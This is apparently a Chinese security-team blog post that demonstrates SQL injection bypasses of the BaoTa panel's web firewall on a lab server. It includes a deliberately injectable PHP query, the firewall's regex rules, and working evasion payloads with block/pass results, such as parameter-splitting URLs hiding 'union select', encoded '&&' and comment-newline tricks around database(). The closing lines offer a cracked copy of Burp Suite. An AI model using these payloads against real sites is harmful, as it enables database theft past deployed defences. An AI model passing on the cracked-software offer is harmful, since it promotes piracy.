前几天发了一篇绕过宝塔的文章,如下
当时联系到防火墙开发的作者,居然也是从业者,是之前没有想到的
我们就来一发不太简单宝塔SQL注入的姿势方法。
有小伙伴注意到这边文章吗?其实也很早的东西了
A Scientific Notation Bug in MySQL left AWS WAF Clients Vulnerable to SQL Injection(英译)MySQL 中的科学记数法错误使 AWS WAF 客户端易受 SQL 注入攻击
https://www.gosecure.net/blog/2021/10/19/a-scientific-notation-bug-in-mysql-left-aws-waf-clients-vulnerable-to-sql-injection/
0x01 Sql注入
测试环境:MySQL 5.6.50, PHP-5.6
举例几个常见sql注入运用到的sql函数
and,select,union,from,sleep,database,group,order
举例联合sql注入运用到的sql语句
union select 1,2,3
union select (select group_concat(schema_name)from information schema.schemata),2,3
and if(length(version())>10,sleep(3),sleep(10);
0x02 Sql注入“测试”宝塔
安装宝塔的过程就不多说了
看下防火墙防止sql注入的规则
s+(or|xor|and)s+.*(=|<|>|'|")
select.+(from|limit)
(?:(union(.*?)select))
sleep((s*)(d*)(s*))
benchmark((.*),(.*))
(?:fromW+information_schemaW)
(?:(?:current_)user|database|schema|connection_id)s*(
into(s+)+(?:dump|out)files*
groups+by.+(
函数禁用了这么多,还搞鸡毛
在网站内,先构造一个注入点(整型),注意还得去新建对应的表
define("host","127.0.0.1");
define("username","sql");
define("password","sql");
define("database","sql");
$sql = mysqli_connect(host,username,password,database);
if ($sql == false)
{
echo mysqli_connect_error();
}
$id = $_GET['a'];
$sqllib = "select * from test where user_id = $id";
$temp = mysqli_query($sql,$sqllib);
var_dump($temp);
$row=mysqli_fetch_array($temp);
echo "<p><a>user_id :</a>".$row[0];
echo "<p><a>user_name :".$row[1];
echo "<p><a>user_password :</a>".$row[2];
代码的主要意思,就是查询user_id 等于x 的 用户
select * from test where user_id = $id
如下测试
准备工作都完成了,我们来测试,先把防火墙关闭
我们来测试第一条首先绕过and 相关的连接符
and 1=1 / and 1=2
打开防火墙,测试and
匹配规则 如下
s+(or|xor|and)s+.*(=|&lt;|&gt;|‘|")
s+(or|xor|and)s+.*(=|<|>|'|")
风险值 是and 1= ,是不是让人眼前一亮,浮现很多种绕过的方式呢?
我这边 添加一个 in 即可
因为是已知的注入点,这边直接测试 完整的语句,假设要探测版本
union select 1,version(),3
用 and select version 没什么问题的,但是回显不出来呀
测试 union select
union select 1,version(),3
因为在防火墙规则中,通过正则的方式 匹配 union select 相关的语法,绕过确实难度很大
(?:(union(.*?)select))
在很多次的测试中,利用http分割注入的时候,发现不在提示union select 相关的联合,下图也可以看到,到过滤规则这边把1+union 给吞并了,又因为&b的存在当成新值去传递
http://192.168.3.30/test/1.php?a=%0a1+union%2f%2a&b=%2f%2aselect 1,pass%2f%2a&c=%2f%2apass--
在测试的过程中,发现免费版的防火墙在针对 HTTP分割 还是挺有一套方法
在这里我引入 2021/5月绕过宝塔注入的一篇文章
https://blog.csdn.net/weixin_54771278/article/details/117388614
1 or 1=1 拦截
1 and 1=1 拦截
1 || 1=1 拦截
id=1 %26%26 1=1 通过
1 && (select 1)=1 && 1=1 拦截
1 && ( select 1)=1 && 1=1 通过 在select前面补空格就可以绕过
1 and( select database()='security') and 1=1 拦截
尝试把数据库名称跑出来这里利用databases()函数获取当前数据库名称被拦截了
这里猜测拦截的是database()函数,同理猜测可能是关键字拦截
1 and( select database/**/()='security') and1=1 拦截 中间加注释符操作绕过验证失败
1 &&( select database--%0a()='security') &&1=1 通过
这里使用了 --换行(换行转化对应的URL编码为%0a)
想必大家应该可以看出点门道,列如:
不同的注入类型肯定有着不一样的绕过方式,包括特定字符的绕过,比如union select 没办法绕,可以试想下,还有没有其他语句可以绕过union
set
在穿插 一篇文章
https://www.gosecure.net/blog/2021/10/19/a-scientific-notation-bug-in-mysql-left-aws-waf-clients-vulnerable-to-sql-injection/
水文了,水文了,有这方面经验的友友,可以一起交流
关注黑客街,回复 burp 即可 获取 最新版破解burp
如果您觉得该文章有用,请记得点赞和转发哟。
您的阅读和转发 希望都可以让身边的朋友能够共同成长
谢谢大家关注黑客街安全团队
觉得不错点个“赞”、“在看”,支持下小编
原文始发于微信公众号(黑客街安全团队):Sql注入绕过宝塔的“思路”【mysql】